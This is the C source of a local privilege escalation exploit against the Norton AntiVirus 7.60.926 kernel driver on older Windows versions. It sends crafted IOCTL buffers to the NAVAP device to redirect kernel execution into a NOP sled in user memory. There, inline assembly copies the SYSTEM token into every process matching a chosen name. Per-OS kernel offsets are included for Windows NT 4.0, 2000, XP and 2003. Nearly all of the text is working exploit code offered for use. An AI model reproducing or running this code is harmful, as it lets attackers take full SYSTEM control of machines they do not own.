/* Privilege Escalation on WinXP using Norton AntiVirus 7.60.926 Discovered and Exploit by sk at scan-associates d0t net Read Lord YuP's paper to find your own bug!(http://sec-labs.hack.pl/papers/win32ddc.php) */ #include #include #define FN_LEN 255 //go global go unsigned long cbNeeded; DWORD pid; int pid_offset; int flink_offset; int authid_offset; int token_offset; int privcount_offset; int privaddr_offset; int sidcount_offset; int sidaddr_offset; int pidsys; HANDLE theDevice; char outBuffer[0x20]; int n; char pname[500]; char inBuffer[] = "\x52\x53\x3e\x3e" // magic key "\1\0\0\0" // case 0 "sk4n" "sk4n" "\0\0\4\0" // overwrite with 1 "\4\0\0\0" "\xee\x03\x30\xef" // "\4\0\1\0" //overwrite with 4 "\x52\x53\x3c\x3c"; char inBuffer2[] = "\x52\x53\x3e\x3e" // magic key "\2\0\0\0" // case 1 "sk4n" "sk4n" "\0\0\4\0" // overwrite with 1 "\4\0\0\0" "\0\0\4\0" //"\4\0\1\0" //overwrite with 4 "\x52\x53\x3c\x3c"; #define SystemProcessesAndThreadsInformation 5 typedef LONG KPRIORITY; typedef struct _CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _VM_COUNTERS { ULONG PeakVirtualSize; ULONG VirtualSize; ULONG PageFaultCount; ULONG PeakWorkingSetSize; ULONG WorkingSetSize; ULONG QuotaPeakPagedPoolUsage; ULONG QuotaPagedPoolUsage; ULONG QuotaPeakNonPagedPoolUsage; ULONG QuotaNonPagedPoolUsage; ULONG PagefileUsage; ULONG PeakPagefileUsage; } VM_COUNTERS; //typedef VM_COUNTERS, *PVM_COUNTERS; typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; LONG State; LONG WaitReason; } SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD_INFORMATION Threads[1]; } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; //from Undocumented Windows 2000 #define SystemModuleInformation 11 // SYSTEMINFOCLASS #define MAXIMUM_FILENAME_LENGTH 256 #define PAGE_SIZE 4096 // ----------------------------------------------------------------- typedef LONG NTSTATUS, *PNTSTATUS, **PPNTSTATUS; typedef NTSTATUS (NTAPI *NTPROC) (); #define STATUS_SUCCESS ((NTSTATUS) 0x00000000) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004) // ----------------------------------------------------------------- NTSTATUS NTAPI NtQuerySystemInformation (DWORD SystemInformationClass, PVOID SystemInformation, DWORD SystemInformationLength, PDWORD ReturnLength); // ----------------------------------------------------------------- typedef struct _MODULE_INFO { DWORD dReserved1; DWORD dReserved2; PVOID pBase; DWORD dSize; DWORD dFlags; WORD wIndex; WORD wRank; WORD wLoadCount; WORD wNameOffset; BYTE abPath [MAXIMUM_FILENAME_LENGTH]; } MODULE_INFO, *PMODULE_INFO, **PPMODULE_INFO; #define MODULE_INFO_ sizeof (MODULE_INFO) // ----------------------------------------------------------------- typedef struct _MODULE_LIST { DWORD dModules; MODULE_INFO aModules []; } MODULE_LIST, *PMODULE_LIST, **PPMODULE_LIST; #define MODULE_LIST_ sizeof (MODULE_LIST) //from DWORD getModuleBase(char *name){ HINSTANCE ntdll; NTPROC _NtQuerySystemInformation; NTSTATUS ns; DWORD dSize; DWORD dData; PMODULE_LIST pml; DWORD base; int i; dData = base = 0; pml = malloc(0x90000); //increase at will ntdll = LoadLibrary("ntdll.dll"); _NtQuerySystemInformation = GetProcAddress(ntdll,"NtQuerySystemInformation"); ns = _NtQuerySystemInformation (SystemModuleInformation, pml, 0x90000, &dData); if (ns == STATUS_SUCCESS){ for(i=0; idModules;i++){ if (strstr(pml->aModules [i].abPath,name)){ base = pml->aModules [i].pBase; break; } } } free(pml); return base; } void init(void){ // Code modified from fu.cpp! the mighty fuzen_op! OSVERSIONINFOEX osvi; BOOL bOsVersionInfoEx; BOOL Found = FALSE; int *os_offsets; ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if( !(bOsVersionInfoEx = GetVersionEx ((OSVERSIONINFO *) &osvi)) ) { // If OSVERSIONINFOEX doesn't work, try OSVERSIONINFO. osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (! GetVersionEx ( (OSVERSIONINFO *) &osvi) ) { printf("Error getting OS version\n"); exit(1); } } switch (osvi.dwPlatformId) { // Tests for Windows NT product family. case VER_PLATFORM_WIN32_NT: // Test for the product. if ( osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) { pid_offset = 148; flink_offset = 152; authid_offset = 24; token_offset = 264; privcount_offset = 52; privaddr_offset = 80; sidcount_offset = 48; sidaddr_offset = 72; pidsys = 8; printf("Attacking Microsoft Windows NT 4.0\n"); Found = TRUE; } if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0 ) { pid_offset = 156; flink_offset = 160; authid_offset = 0x18; token_offset = 0x12c; privcount_offset = 0x44; privaddr_offset = 0x64; sidcount_offset = 0x3c; sidaddr_offset = 0x58; pidsys = 8; printf("Attacking Microsoft Windows 2000\n"); Found = TRUE; } if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1 ) { pid_offset = 0x84; //132; flink_offset = 0x88; //136; authid_offset = 24; token_offset = 0xc8; //200; privcount_offset = 72; privaddr_offset = 104; sidcount_offset = 64; sidaddr_offset = 92; pidsys = 4; printf("Attacking Microsoft Windows XP\n"); Found = TRUE; } if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2 ) { pid_offset = 132; flink_offset = 136; authid_offset = 24; token_offset = 200; privcount_offset = 84; privaddr_offset = 116; sidcount_offset = 76; sidaddr_offset = 104; pidsys = 4; printf("Attacking Microsoft Windows 2003\n"); Found = TRUE; } break; default: fprintf(stderr, "\nOperating System Version %d.%d Not Supported!\n", osvi.dwMajorVersion, osvi.dwMinorVersion); exit(1); break; // Never executed } if (!Found) { fprintf(stderr, "\nOperating System Version %d.%d Not Supported!\n", osvi.dwMajorVersion, osvi.dwMinorVersion); exit(1); } // from } void __declspec(naked) escalate(){ __asm{ //int 3 mov eax,fs:[0x124] //point to ETHREAD mov esi,[eax+0x44] //point to EPROCESS mov eax,esi mov ebx, flink_offset mov edx, pidsys mov ecx, pid_offset search: mov eax,[eax+ebx] //point to next process in EPROCESS.ActiveProcessLinks.Flink sub eax,ebx //eax = EPROCESS of next process cmp [eax+ecx], edx //compare UniqueProcessId with SYSTEM_PID jne search mov ebx, token_offset mov edi,[eax+ebx] //point to EPROCESS.token and edi,0xfffffff8; //addr token always align of 8 mov eax,esi //eax point to EPROCESS mov esi, pid //escalate this pid mov ebx, flink_offset mov ecx, pid_offset search2: mov eax,[eax+ebx] //point to next process in EPROCESS.ActiveProcessLinks.Flink sub eax,ebx //eax = EPROCESS of next process cmp [eax+ecx],esi //compare UniqueProcessId with pid jne search2 mov ebx, token_offset mov [eax+ebx],edi //replace pid's pointer to token to SYSTEM's pointer pop edi ; default pop esi pop ebx pop ebp retn 0x18 //int 3 } } void escalatepid(DWORD p){ pid = p; if (DeviceIoControl(theDevice, 0x222a87, inBuffer2, 0x20, outBuffer, 4, &n, 0)==-1){ printf("Error sending second signal!\n"); //VirtualFree(hMem, 0, MEM_RELEASE); exit(1); } } void escalateall(){ //find all DLLHOST or any given process name and set it as SYSTEM HINSTANCE ntdll; NTPROC _NtQuerySystemInformation; NTSTATUS ns; DWORD dSize; DWORD dData; PSYSTEM_PROCESS_INFORMATION pml; PCWSTR pszProcessName; char dest[500]; DWORD base; int i; dData = base = 0; pml = malloc(0x90000); ntdll = LoadLibrary("ntdll.dll"); _NtQuerySystemInformation = GetProcAddress(ntdll,"NtQuerySystemInformation"); ns = _NtQuerySystemInformation (SystemProcessesAndThreadsInformation, pml, 0x90000, &dData); if (ns == STATUS_SUCCESS){ for(;;){ pszProcessName = pml->ProcessName.Buffer; if (pml->NextEntryDelta == 0) break; WideCharToMultiByte( CP_ACP, 0, pszProcessName, -1, dest, 256, NULL, NULL ); //printf("%s\n", dest); if(strstr(_strupr(dest), pname)) escalatepid(pml->ProcessId); // find the address of the next process structure pml = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pml)+ pml->NextEntryDelta); } } free(pml); return; } int main(int argc, char ** argv) { LPVOID hMem; long addr; LPVOID myAddress; STARTUPINFO si; PROCESS_INFORMATION pi; DWORD base; printf("Privilege Escalation on Norton AntiVirus 7.60.926\nDiscovered and Exploit by sk at scan-associates d0t net\n"); printf("Find all process that match the argument and escalate it to SYSTEM!\n"); printf("Usage: %s process_name\ni.e: %s CMD\n", argv[0], argv[0]); printf("If no argument given, exploit will escalate DLLHOST\n"); //overflow! someday, i ll exploit dis... if (argc==1) strcpy(pname,"DLLHOST"); else strcpy(pname,_strupr(argv[1])); printf("Escalating %s...\n", pname); init(); base = getModuleBase("NAVAP.sys"); if(!base){ printf("Error getting NAVAP based memory.\n"); exit(1); } //base navap + 1F3EE base += 0x1F3EE; *(DWORD *)(inBuffer+6*4)=base; addr = 0x00040000; myAddress = addr; hMem = VirtualAlloc(myAddress, 0xf000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(hMem == 0){ printf("Cannot alloc memory!\n %d", GetLastError()); exit(1); } memset(addr, 0x90, 0xf000); memcpy(addr+0xf000-100, escalate, 100); theDevice = CreateFile("\\\\.\\NAVAP", 0, 0, 0, 3, 0x80, 0); if (theDevice==INVALID_HANDLE_VALUE){ printf("Error opening device.\n"); VirtualFree(hMem, 0, MEM_RELEASE); exit(1); } if (DeviceIoControl(theDevice, 0x222a87, inBuffer, 0x20, outBuffer, 4, &n, 0)==-1){ printf("Error sending first signal!\n"); VirtualFree(hMem, 0, MEM_RELEASE); exit(1); } //sending second signal to take control! escalateall(); Sleep(3000); //VirtualFree(hMem, 0, MEM_RELEASE); TerminateProcess((HANDLE)-1,0); }